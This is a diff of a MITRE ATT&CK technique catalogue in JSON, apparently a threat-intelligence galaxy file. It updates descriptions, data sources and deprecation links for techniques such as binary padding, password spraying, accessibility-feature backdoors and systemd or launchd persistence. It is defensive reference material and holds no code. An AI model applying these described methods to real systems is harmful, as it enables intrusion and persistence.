@@ "description": "Adversaries can use binary padding to add junk data and change the on-disk representation of malware without affecting the functionality or behavior of the binary. This will often increase the size of the binary beyond what some security tools are capable of handling due to file size limitations.\n\nBinary padding effectively changes the checksum of the file and can also be used to avoid hash-based blacklists and static anti-virus signatures.(Citation: ESET OceanLotus) The padding used is commonly generated by a function to create junk data and then appended to the end or applied to sections of malware.(Citation: Securelist Malware Tricks April 2017) Increasing the file size may decrease the effectiveness of certain tools and detection capabilities that are not designed or configured to scan large files. This may also reduce the likelihood of being collected for analysis. Public file scanning services, such as VirusTotal, limits the maximum size of an uploaded file to be analyzed.(Citation: VirusTotal FAQ)\n", "meta": { "external_id": "CAPEC-572", - "kill_chain": [ - "mitre-attack:defense-evasion" - ], - "mitre_data_sources": [ - "Binary file metadata", - "File monitoring", - "Malware reverse engineering" - ], - "mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1009", "https://capec.mitre.org/data/definitions/572.html", @@ -8534,39 +16556,20 @@ "https://www.virustotal.com/en/faq/ " ] }, + "related": [ + { + "dest-uuid": "5bfccc3f-2326-4112-86cc-c1ece9d8a2b5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "519630c5-f03f-4882-825c-3af924935817", "value": "Binary Padding - T1009" }, { - "description": "Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including [HTRAN](https://attack.mitre.org/software/S0040), ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools) Adversaries use these types of proxies to manage command and control communications, to reduce the number of simultaneous outbound network connections, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion.\n\nExternal connection proxies are used to mask the destination of C2 traffic and are typically implemented with port redirectors. Compromised systems outside of the victim environment may be used for these purposes, as well as purchased infrastructure such as cloud-based resources or virtual private servers. Proxies may be chosen based on the low likelihood that a connection to them from a compromised system would be investigated. Victim systems would communicate directly with the external proxy on the internet and then the proxy would forward communications to the C2 server.\n\nInternal connection proxies can be used to consolidate internal connections from compromised systems. Adversaries may use a compromised internal system as a proxy in order to conceal the true destination of C2 traffic. The proxy can redirect traffic from compromised systems inside the network to an external C2 server making discovery of malicious traffic difficult. Additionally, the network can be used to relay information from one system to another in order to avoid broadcasting traffic to all systems.", - "meta": { - "external_id": "T1090", - "kill_chain": [ - "mitre-attack:command-and-control", - "mitre-attack:defense-evasion" - ], - "mitre_data_sources": [ - "Process use of network", - "Process monitoring", - "Netflow/Enclave netflow", - "Packet capture" - ], - "mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1090", - "http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/", - "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" - ] - }, - "uuid": "731f4f55-b6d0-41d1-a7a9-072a66389aea", - "value": "Connection Proxy - T1090" - }, - { - "description": "Adversaries may use brute force techniques to attempt access to accounts when passwords are unknown or when password hashes are obtained.\n\n[Credential Dumping](https://attack.mitre.org/techniques/T1003) is used to obtain password hashes, this may only get an adversary so far when [Pass the Hash](https://attack.mitre.org/techniques/T1075) is not an option. Techniques to systematically guess the passwords used to compute hashes are available, or the adversary may use a pre-computed rainbow table to crack hashes. Cracking hashes is usually done on adversary-controlled systems outside of the target network. (Citation: Wikipedia Password cracking)\n\nAdversaries may attempt to brute force logins without knowledge of passwords or hashes during an operation either with zero knowledge or by attempting a list of known or possible passwords. This is a riskier option because it could cause numerous authentication failures and account lockouts, depending on the organization's login failure policies. (Citation: Cylance Cleaver)\n\nA related technique called password spraying uses one password (e.g. 'Password01'), or a small list of passwords, that matches the complexity policy of the domain and may be a commonly used password. Logins are attempted with that password and many different accounts on a network to avoid account lockouts that would normally occur when brute forcing a single account with many passwords. (Citation: BlackHillsInfosec Password Spraying)\n\nTypically, management services over commonly used ports are used when password spraying. Commonly targeted services include the following:\n\n* SSH (22/TCP)\n* Telnet (23/TCP)\n* FTP (21/TCP)\n* NetBIOS / SMB / Samba (139/TCP & 445/TCP)\n* LDAP (389/TCP)\n* Kerberos (88/TCP)\n* RDP / Terminal Services (3389/TCP)\n* HTTP/HTTP Management Services (80/TCP & 443/TCP)\n* MSSQL (1433/TCP)\n* Oracle (1521/TCP)\n* MySQL (3306/TCP)\n* VNC (5900/TCP)\n\nIn addition to management services, adversaries may \"target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols,\" as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018)\n\n\nIn default environments, LDAP and Kerberos connection attempts are less likely to trigger events over SMB, which creates Windows \"logon failure\" event ID 4625.", + "description": "Adversaries may use brute force techniques to gain access to accounts when passwords are unknown or when password hashes are obtained. Without knowledge of the password for an account or set of accounts, an adversary may systematically guess the password using a repetitive or iterative mechanism. Brute forcing passwords can take place via interaction with a service that will check the validity of those credentials or offline against previously acquired credential data, such as password hashes.", "meta": { "external_id": "CAPEC-49", "kill_chain": [ @@ -8582,23 +16585,21 @@ "Windows", "Office 365", "Azure AD", - "SaaS" + "SaaS", + "GCP", + "AWS", + "Azure" ], "refs": [ "https://attack.mitre.org/techniques/T1110", - "https://capec.mitre.org/data/definitions/49.html", - "https://en.wikipedia.org/wiki/Password_cracking", - "https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf", - "http://www.blackhillsinfosec.com/?p=4645", - "https://www.us-cert.gov/ncas/alerts/TA18-086A", - "https://www.trimarcsecurity.com/single-post/2018/05/06/Trimarc-Research-Detecting-Password-Spraying-with-Security-Event-Auditing" + "https://capec.mitre.org/data/definitions/49.html" ] }, "uuid": "a93494bb-4b80-4ea1-8695-3236a49916fd", "value": "Brute Force - T1110" }, { - "description": "Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.\n\nThe Registry contains a significant amount of information about the operating system, configuration, software, and security. (Citation: Wikipedia Windows Registry) Some of the information may help adversaries to further their operation within a network. Adversaries may use the information from [Query Registry](https://attack.mitre.org/techniques/T1012) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.", + "description": "Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.\n\nThe Registry contains a significant amount of information about the operating system, configuration, software, and security.(Citation: Wikipedia Windows Registry) Information can easily be queried using the [Reg](https://attack.mitre.org/software/S0075) utility, though other means to access the Registry exist. Some of the information may help adversaries to further their operation within a network. Adversaries may use the information from [Query Registry](https://attack.mitre.org/techniques/T1012) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.", "meta": { "external_id": "CAPEC-647", "kill_chain": [ @@ -8622,14 +16623,26 @@ "value": "Query Registry - T1012" }, { - "description": "An adversary may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into a service specifically designed to accept remote connections, such as telnet, SSH, and VNC. The adversary may then perform actions as the logged-on user.", + "description": "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into a service specifically designed to accept remote connections, such as telnet, SSH, and VNC. The adversary may then perform actions as the logged-on user.\n\nIn an enterprise environment, servers and workstations can be organized into domains. Domains provide centralized identity management, allowing users to login using one set of credentials across the entire network. If an adversary is able to obtain a set of valid domain credentials, they could login to many different machines using remote access protocols such as secure shell (SSH) or remote desktop protocol (RDP).(Citation: SSH Secure Shell)(Citation: TechNet Remote Desktop Services)", "meta": { "external_id": "CAPEC-555", "kill_chain": [ "mitre-attack:lateral-movement" ], "mitre_data_sources": [ - "Authentication logs" + "Windows Registry", + "Windows event logs", + "Process use of network", + "Process monitoring", + "Process command-line parameters", + "PowerShell logs", + "Packet capture", + "Network protocol analysis", + "Netflow/Enclave netflow", + "File monitoring", + "DLL monitoring", + "Authentication logs", + "API monitoring" ], "mitre_platforms": [ "Linux", @@ -8638,19 +16651,20 @@ ], "refs": [ "https://attack.mitre.org/techniques/T1021", - "https://capec.mitre.org/data/definitions/555.html" + "https://capec.mitre.org/data/definitions/555.html", + "https://www.ssh.com/ssh", + "https://technet.microsoft.com/en-us/windowsserver/ee236407.aspx" ] }, "uuid": "54a649ff-439a-41a4-9856-8d144a2551ba", "value": "Remote Services - T1021" }, { - "description": "Adversaries may use an existing, legitimate external Web service as a means for relaying commands to a compromised system.\n\nThese commands may also include pointers to command and control (C2) infrastructure. Adversaries may post content, known as a dead drop resolver, on Web services with embedded (and often obfuscated/encoded) domains or IP addresses. Once infected, victims will reach out to and be redirected by these resolvers.\n\nPopular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.\n\nUse of Web services may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed).", + "description": "Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.\n\nUse of Web services may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed).", "meta": { "external_id": "T1102", "kill_chain": [ - "mitre-attack:command-and-control", - "mitre-attack:defense-evasion" + "mitre-attack:command-and-control" ], "mitre_data_sources": [ "Host network interface", @@ -8676,18 +16690,6 @@ "description": "Dynamic-link libraries (DLLs) that are specified in the AppInit_DLLs value in the Registry keys HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows or HKEY_LOCAL_MACHINE\\Software\\Wow6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Windows are loaded by user32.dll into every process that loads user32.dll. In practice this is nearly every program, since user32.dll is a very common library. (Citation: Endgame Process Injection July 2017) Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), these values can be abused to obtain persistence and privilege escalation by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. (Citation: AppInit Registry)\n\nThe AppInit DLL functionality is disabled in Windows 8 and later versions when secure boot is enabled. (Citation: AppInit Secure Boot)", "meta": { "external_id": "T1103", - "kill_chain": [ - "mitre-attack:persistence", - "mitre-attack:privilege-escalation" - ], - "mitre_data_sources": [ - "Loaded DLLs", - "Process monitoring", - "Windows Registry" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1103", "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process", @@ -8696,6 +16698,15 @@ "https://technet.microsoft.com/en-us/sysinternals/bb963902" ] }, + "related": [ + { + "dest-uuid": "cc89ecbd-3d33-4a41-bcca-001e702d18fd", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "317fefa6-46c7-4062-adb6-2008cf6bcb41", "value": "AppInit DLLs - T1103" }, @@ -8703,20 +16714,6 @@ "description": "A port monitor can be set through the (Citation: AddMonitor) API call to set a DLL to be loaded at startup. (Citation: AddMonitor) This DLL can be located in C:\\Windows\\System32 and will be loaded by the print spooler service, spoolsv.exe, on boot. The spoolsv.exe process also runs under SYSTEM level permissions. (Citation: Bloxham) Alternatively, an arbitrary DLL can be loaded if permissions allow writing a fully-qualified pathname for that DLL to HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors. \n\nThe Registry key contains entries for the following:\n\n* Local Port\n* Standard TCP/IP Port\n* USB Monitor\n* WSD Port\n\nAdversaries can use this technique to load malicious code at startup that will persist on system reboot and execute as SYSTEM.", "meta": { "external_id": "T1013", - "kill_chain": [ - "mitre-attack:persistence", - "mitre-attack:privilege-escalation" - ], - "mitre_data_sources": [ - "File monitoring", - "API monitoring", - "DLL monitoring", - "Windows Registry", - "Process monitoring" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1013", "http://msdn.microsoft.com/en-us/library/dd183341", @@ -8724,6 +16721,15 @@ "https://technet.microsoft.com/en-us/sysinternals/bb963902" ] }, + "related": [ + { + "dest-uuid": "43881e51-ac74-445b-b4c6-f9f9e9bf23fe", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "1f47e2fd-fa77-4f2f-88ee-e85df308f125", "value": "Port Monitors - T1013" }, @@ -8731,18 +16737,6 @@ "description": "Windows contains accessibility features that may be launched with a key combination before a user has logged in (for example, when the user is on the Windows logon screen). An adversary can modify the way these programs are launched to get a command prompt or backdoor without logging in to the system.\n\nTwo common accessibility programs are C:\\Windows\\System32\\sethc.exe, launched when the shift key is pressed five times and C:\\Windows\\System32\\utilman.exe, launched when the Windows + U key combination is pressed. The sethc.exe program is often referred to as \"sticky keys\", and has been used by adversaries for unauthenticated access through a remote desktop login screen. (Citation: FireEye Hikit Rootkit)\n\nDepending on the version of Windows, an adversary may take advantage of these features in different ways because of code integrity enhancements. In newer versions of Windows, the replaced binary needs to be digitally signed for x64 systems, the binary must reside in %systemdir%\\, and it must be protected by Windows File or Resource Protection (WFP/WRP). (Citation: DEFCON2016 Sticky Keys) The debugger method was likely discovered as a potential workaround because it does not require the corresponding accessibility feature binary to be replaced. Examples for both methods:\n\nFor simple binary replacement on Windows XP and later as well as and Windows Server 2003/R2 and later, for example, the program (e.g., C:\\Windows\\System32\\utilman.exe) may be replaced with \"cmd.exe\" (or another program that provides backdoor access). Subsequently, pressing the appropriate key combination at the login screen while sitting at the keyboard or when connected over [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1076) will cause the replaced file to be executed with SYSTEM privileges. (Citation: Tilbury 2014)\n\nFor the debugger method on Windows Vista and later as well as Windows Server 2008 and later, for example, a Registry key may be modified that configures \"cmd.exe,\" or another program that provides backdoor access, as a \"debugger\" for the accessibility program (e.g., \"utilman.exe\"). After the Registry is modified, pressing the appropriate key combination at the login screen while at the keyboard or when connected with RDP will cause the \"debugger\" program to be executed with SYSTEM privileges. (Citation: Tilbury 2014)\n\nOther accessibility features exist that may also be leveraged in a similar fashion: (Citation: DEFCON2016 Sticky Keys)\n\n* On-Screen Keyboard: C:\\Windows\\System32\\osk.exe\n* Magnifier: C:\\Windows\\System32\\Magnify.exe\n* Narrator: C:\\Windows\\System32\\Narrator.exe\n* Display Switcher: C:\\Windows\\System32\\DisplaySwitch.exe\n* App Switcher: C:\\Windows\\System32\\AtBroker.exe", "meta": { "external_id": "CAPEC-558", - "kill_chain": [ - "mitre-attack:persistence", - "mitre-attack:privilege-escalation" - ], - "mitre_data_sources": [ - "Windows Registry", - "File monitoring", - "Process monitoring" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1015", "https://capec.mitre.org/data/definitions/558.html", @@ -8751,6 +16745,15 @@ "http://blog.crowdstrike.com/registry-analysis-with-crowdresponse/" ] }, + "related": [ + { + "dest-uuid": "70e52b04-2a0c-4cea-9d18-7149f1df9dc5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "9b99b83a-1aac-4e29-b975-b374950551a3", "value": "Accessibility Features - T1015" }, @@ -8781,24 +16784,20 @@ "description": "Property list (plist) files contain all of the information that macOS and OS X uses to configure applications and services. These files are UTF-8 encoded and formatted like XML documents via a series of keys surrounded by < >. They detail when programs should execute, file paths to the executables, program arguments, required OS permissions, and many others. plists are located in certain locations depending on their purpose such as /Library/Preferences (which execute with elevated privileges) and ~/Library/Preferences (which execute with a user's privileges). \nAdversaries can modify these plist files to point to their own code, can use them to execute their code in the context of another user, bypass whitelisting procedures, or even use them as a persistence mechanism. (Citation: Sofacy Komplex Trojan)", "meta": { "external_id": "T1150", - "kill_chain": [ - "mitre-attack:defense-evasion", - "mitre-attack:persistence", - "mitre-attack:privilege-escalation" - ], - "mitre_data_sources": [ - "File monitoring", - "Process monitoring", - "Process command-line parameters" - ], - "mitre_platforms": [ - "macOS" - ], "refs": [ "https://attack.mitre.org/techniques/T1150", "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/" ] }, + "related": [ + { + "dest-uuid": "6747daa2-3533-4e78-8fb8-446ebb86448a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "06780952-177c-4247-b978-79c357fb311f", "value": "Plist Modification - T1150" }, @@ -8806,17 +16805,6 @@ "description": "Systemd services can be used to establish persistence on a Linux system. The systemd service manager is commonly used for managing background daemon processes (also known as services) and other system resources.(Citation: Linux man-pages: systemd January 2014)(Citation: Freedesktop.org Linux systemd 29SEP2018) Systemd is the default initialization (init) system on many Linux distributions starting with Debian 8, Ubuntu 15.04, CentOS 7, RHEL 7, Fedora 15, and replaces legacy init systems including SysVinit and Upstart while remaining backwards compatible with the aforementioned init systems.\n\nSystemd utilizes configuration files known as service units to control how services boot and under what conditions. By default, these unit files are stored in the /etc/systemd/system and /usr/lib/systemd/system directories and have the file extension .service. Each service unit file may contain numerous directives that can execute system commands. \n\n* ExecStart, ExecStartPre, and ExecStartPost directives cover execution of commands when a services is started manually by 'systemctl' or on system start if the service is set to automatically start. \n* ExecReload directive covers when a service restarts. \n* ExecStop and ExecStopPost directives cover when a service is stopped or manually by 'systemctl'.\n\nAdversaries have used systemd functionality to establish persistent access to victim systems by creating and/or modifying service unit files that cause systemd to execute malicious commands at recurring intervals, such as at system boot.(Citation: Anomali Rocke March 2019)(Citation: gist Arch package compromise 10JUL2018)(Citation: Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018)(Citation: acroread package compromised Arch Linux Mail 8JUL2018)\n\nWhile adversaries typically require root privileges to create/modify service unit files in the /etc/systemd/system and /usr/lib/systemd/system directories, low privilege users can create/modify service unit files in directories such as ~/.config/systemd/user/ to achieve user-level persistence.(Citation: Rapid7 Service Persistence 22JUNE2016)", "meta": { "external_id": "T1501", - "kill_chain": [ - "mitre-attack:persistence" - ], - "mitre_data_sources": [ - "Process command-line parameters", - "Process monitoring", - "File monitoring" - ], - "mitre_platforms": [ - "Linux" - ], "refs": [ "https://attack.mitre.org/techniques/T1501", "http://man7.org/linux/man-pages/man1/systemd.1.html", @@ -8828,11 +16816,20 @@ "https://www.rapid7.com/db/modules/exploit/linux/local/service_persistence" ] }, + "related": [ + { + "dest-uuid": "dfefe2ed-4389-4318-8762-f0272b350a1b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "0fff2797-19cb-41ea-a5f1-8a9303b8158e", "value": "Systemd Service - T1501" }, { - "description": "Adversaries may add malicious content to an internally accessible website through an open network file share that contains the website's webroot or Web content directory (Citation: Microsoft Web Root OCT 2016) (Citation: Apache Server 2018) and then browse to that content with a Web browser to cause the server to execute the malicious content. The malicious content will typically run under the context and permissions of the Web server process, often resulting in local system or administrative privileges, depending on how the Web server is configured.\n\nThis mechanism of shared access and remote execution could be used for lateral movement to the system running the Web server. For example, a Web server running PHP with an open network share could allow an adversary to upload a remote access tool and PHP script to execute the RAT on the system running the Web server when a specific page is visited. (Citation: Webroot PHP 2011)", + "description": "**This technique has been deprecated and should no longer be used.**\n\nAdversaries may add malicious content to an internally accessible website through an open network file share that contains the website's webroot or Web content directory (Citation: Microsoft Web Root OCT 2016) (Citation: Apache Server 2018) and then browse to that content with a Web browser to cause the server to execute the malicious content. The malicious content will typically run under the context and permissions of the Web server process, often resulting in local system or administrative privileges, depending on how the Web server is configured.\n\nThis mechanism of shared access and remote execution could be used for lateral movement to the system running the Web server. For example, a Web server running PHP with an open network share could allow an adversary to upload a remote access tool and PHP script to execute the RAT on the system running the Web server when a specific page is visited. (Citation: Webroot PHP 2011)", "meta": { "external_id": "CAPEC-563", "kill_chain": [ @@ -8855,21 +16852,46 @@ "uuid": "804c042c-cfe6-449e-bc1a-ba0a998a70db", "value": "Shared Webroot - T1051" }, + { + "description": "Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.(Citation: NT API Windows)(Citation: Linux Kernel API) These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.\n\nFunctionality provided by native APIs are often also exposed to user-mode applications via interfaces and libraries. For example, functions such as the Windows API CreateProcess() or GNU fork() will allow programs and scripts to start other processes.(Citation: Microsoft CreateProcess)(Citation: GNU Fork) This may allow API callers to execute a binary, run a CLI command, load modules, etc. as thousands of similar API functions exist for various system operations.(Citation: Microsoft Win32)(Citation: LIBC)(Citation: GLIBC)\n\nHigher level software frameworks, such as Microsoft .NET and macOS Cocoa, are also available to interact with native APIs. These frameworks typically provide language wrappers/abstractions to API functionalities and are designed for ease-of-use/portability of code.(Citation: Microsoft NET)(Citation: Apple Core Services)(Citation: MACOS Cocoa)(Citation: macOS Foundation)\n\nAdversaries may abuse these native API functions as a means of executing behaviors. Similar to [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), the native API and its hierarchy of interfaces, provide mechanisms to interact with and utilize various components of a victimized system.", + "meta": { + "external_id": "T1106", + "kill_chain": [ + "mitre-attack:execution" + ], + "mitre_data_sources": [ + "System calls", + "Loaded DLLs", + "API monitoring", + "Process monitoring" + ], + "mitre_platforms": [ + "Windows", + "macOS", + "Linux" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1106", + "https://undocumented.ntinternals.net/", + "https://www.kernel.org/doc/html/v4.12/core-api/kernel-api.html", + "http://msdn.microsoft.com/en-us/library/ms682425", + "https://www.gnu.org/software/libc/manual/html_node/Creating-a-Process.html", + "https://docs.microsoft.com/en-us/windows/win32/api/", + "https://man7.org/linux/man-pages//man7/libc.7.html", + "https://www.gnu.org/software/libc/", + "https://dotnet.microsoft.com/learn/dotnet/what-is-dotnet-framework", + "https://developer.apple.com/documentation/coreservices", + "https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/OSX_Technology_Overview/CocoaApplicationLayer/CocoaApplicationLayer.html#//apple_ref/doc/uid/TP40001067-CH274-SW1", + "https://developer.apple.com/documentation/foundation" + ] + }, + "uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670", + "value": "Native API - T1106" + }, { "description": "Per Apple’s developer documentation, when macOS and OS X boot up, launchd is run to finish system initialization. This process loads the parameters for each launch-on-demand system-level daemon from the property list (plist) files found in /System/Library/LaunchDaemons and /Library/LaunchDaemons (Citation: AppleDocs Launch Agent Daemons). These LaunchDaemons have property list files which point to the executables that will be launched (Citation: Methods of Mac Malware Persistence).\n \nAdversaries may install a new launch daemon that can be configured to execute at startup by using launchd or launchctl to load a plist into the appropriate directories (Citation: OSX Malware Detection). The daemon name may be disguised by using a name from a related operating system or benign software (Citation: WireLurker). Launch Daemons may be created with administrator privileges, but are executed under root privileges, so an adversary may also use a service to escalate privileges from administrator to root.\n \nThe plist file permissions must be root:wheel, but the script or program that it points to has no such requirement. So, it is possible for poor configurations to allow an adversary to modify a current Launch Daemon’s executable and gain persistence or Privilege Escalation.", "meta": { "external_id": "T1160", - "kill_chain": [ - "mitre-attack:persistence", - "mitre-attack:privilege-escalation" - ], - "mitre_data_sources": [ - "Process monitoring", - "File monitoring" - ], - "mitre_platforms": [ - "macOS" - ], "refs": [ "https://attack.mitre.org/techniques/T1160", "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html", @@ -8878,6 +16900,15 @@ "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf" ] }, + "related": [ + { + "dest-uuid": "573ad264-1371-4ae0-8482-d2673b719dba", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "e99ec083-abdd-48de-ad87-4dbf6f8ba2a4", "value": "Launch Daemon - T1160" }, @@ -8885,29 +16916,25 @@ "description": "Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces behind as to what was done within a network and how. Adversaries may remove these files over the course of an intrusion to keep their footprint low or remove them at the end as part of the post-intrusion cleanup process.\n\nThere are tools available from the host operating system to perform cleanup, but adversaries may use other tools as well. Examples include native [cmd](https://attack.mitre.org/software/S0106) functions such as DEL, secure deletion tools such as Windows Sysinternals SDelete, or other third-party file deletion tools. (Citation: Trend Micro APT Attack Tools)", "meta": { "external_id": "T1107", - "kill_chain": [ - "mitre-attack:defense-evasion" - ], - "mitre_data_sources": [ - "File monitoring", - "Process command-line parameters", - "Binary file metadata" - ], - "mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1107", "http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/" ] }, + "related": [ + { + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", "value": "File Deletion - T1107" }, { - "description": "Adversaries may use more than one remote access tool with varying command and control protocols or credentialed access to remote services so they can maintain access if an access mechanism is detected or mitigated. \n\nIf one type of tool is detected and blocked or removed as a response but the organization did not gain a full understanding of the adversary's tools and access, then the adversary will be able to retain access to the network. Adversaries may also attempt to gain access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) to use [External Remote Services](https://attack.mitre.org/techniques/T1133) such as external VPNs as a way to maintain access despite interruptions to remote access tools deployed within a target network.(Citation: Mandiant APT1) Adversaries may also retain access through cloud-based infrastructure and applications.\n\nUse of a [Web Shell](https://attack.mitre.org/techniques/T1100) is one such way to maintain access to a network through an externally accessible Web server.", + "description": "**This technique has been deprecated. Please use [Create Account](https://attack.mitre.org/techniques/T1136), [Web Shell](https://attack.mitre.org/techniques/T1505/003), and [External Remote Services](https://attack.mitre.org/techniques/T1133) where appropriate.**\n\nAdversaries may use more than one remote access tool with varying command and control protocols or credentialed access to remote services so they can maintain access if an access mechanism is detected or mitigated. \n\nIf one type of tool is detected and blocked or removed as a response but the organization did not gain a full understanding of the adversary's tools and access, then the adversary will be able to retain access to the network. Adversaries may also attempt to gain access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) to use [External Remote Services](https://attack.mitre.org/techniques/T1133) such as external VPNs as a way to maintain access despite interruptions to remote access tools deployed within a target network.(Citation: Mandiant APT1) Adversaries may also retain access through cloud-based infrastructure and applications.\n\nUse of a [Web Shell](https://attack.mitre.org/techniques/T1100) is one such way to maintain access to a network through an externally accessible Web server.", "meta": { "external_id": "T1108", "kill_chain": [ @@ -8950,25 +16977,21 @@ "description": "Some adversaries may employ sophisticated means to compromise computer components and install malicious firmware that will execute adversary code outside of the operating system and main system firmware or BIOS. This technique may be similar to [System Firmware](https://attack.mitre.org/techniques/T1019) but conducted upon other system components that may not have the same capability or level of integrity checking. Malicious device firmware could provide both a persistent level of access to systems despite potential typical failures to maintain access and hard disk re-images, as well as a way to evade host software-based defenses and integrity checks.", "meta": { "external_id": "T1109", - "kill_chain": [ - "mitre-attack:defense-evasion", - "mitre-attack:persistence" - ], - "mitre_data_sources": [ - "Disk forensics", - "API monitoring", - "Process monitoring", - "Component firmware" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1109", "https://www.smartmontools.org/", "https://www.itworld.com/article/2853992/3-tools-to-check-your-hard-drives-health-and-make-sure-its-not-already-dying-on-you.html" ] }, + "related": [ + { + "dest-uuid": "791481f8-e96a-41be-b089-a088763083d4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "10d5f3b7-6be6-4da5-9a77-0f1e2bbfcc44", "value": "Component Firmware - T1109" }, @@ -8976,17 +16999,6 @@ "description": "The BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) or Extensible Firmware Interface (EFI) are examples of system firmware that operate as the software interface between the operating system and hardware of a computer. (Citation: Wikipedia BIOS) (Citation: Wikipedia UEFI) (Citation: About UEFI)\n\nSystem firmware like BIOS and (U)EFI underly the functionality of a computer and may be modified by an adversary to perform or assist in malicious activity. Capabilities exist to overwrite the system firmware, which may give sophisticated adversaries a means to install malicious firmware updates as a means of persistence on a system that may be difficult to detect.", "meta": { "external_id": "CAPEC-532", - "kill_chain": [ - "mitre-attack:persistence" - ], - "mitre_data_sources": [ - "API monitoring", - "BIOS", - "EFI" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1019", "https://capec.mitre.org/data/definitions/532.html", @@ -9000,6 +17012,15 @@ "http://www.intelsecurity.com/advanced-threat-research/content/data/HT-UEFI-rootkit.html" ] }, + "related": [ + { + "dest-uuid": "16ab6452-c3c1-497c-a47d-206018ca1ada", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "6856ddd6-2df3-4379-8b87-284603c189c3", "value": "System Firmware - T1019" }, @@ -9007,26 +17028,21 @@ "description": "Data is encrypted before being exfiltrated in order to hide the information that is being exfiltrated from detection or to make the exfiltration less conspicuous upon inspection by a defender. The encryption is performed by a utility, programming library, or custom algorithm on the data itself and is considered separate from any encryption performed by the command and control or file transfer protocol. Common file archive formats that can encrypt files are RAR and zip.\n\nOther exfiltration techniques likely 